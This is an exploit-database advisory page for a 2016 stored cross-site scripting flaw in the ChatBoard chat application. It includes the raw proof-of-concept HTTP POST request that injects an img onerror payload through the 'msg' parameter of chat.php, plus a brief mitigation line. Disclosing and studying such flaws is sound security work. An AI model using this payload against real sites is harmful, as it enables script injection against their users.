header-logo
Suggest Exploit
vendor:
ChatBoard
by:
HaHwul
7,5
CVSS
HIGH
Stored XSS
79
CWE
Product Name: ChatBoard
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: YES
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: Debian [wheezy]
2016

Ultrabenosaurus ChatBoard – Stored XSS

chat.php is not filtering special character, allowing an attacker to inject malicious JavaScript code into the application, which is then stored in the database and executed when other users view the page.

Mitigation:

Input validation should be used to prevent malicious code from being stored in the application.
Source

Exploit-DB raw data:

# Exploit Title: Ultrabenosaurus ChatBoard - Stored XSS
# Date: 2016-06-14
# Exploit Author: HaHwul
# Exploit Author Blog: www.hahwul.com
# Vendor Homepage: http://ultrabenosaurus.ninja/
# Software Link: https://github.com/Ultrabenosaurus/ChatBoard/archive/master.zip
# Tested on: Debian [wheezy]

### Vulnerability Point
chat.php is not filtering special character
 -> file: ./chat.php
 -> param: msg

### Vulnerability Code
POST /vul_test/ChatBoard/__original/chat.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://127.0.0.1/vul_test/ChatBoard/__original/?chat
Content-Length: 10
Cookie: PHPSESSID=3oecem8o5c8975dcufbb0moqn5
Connection: keep-alive

msg=654<img src="z" onerror=zz>asd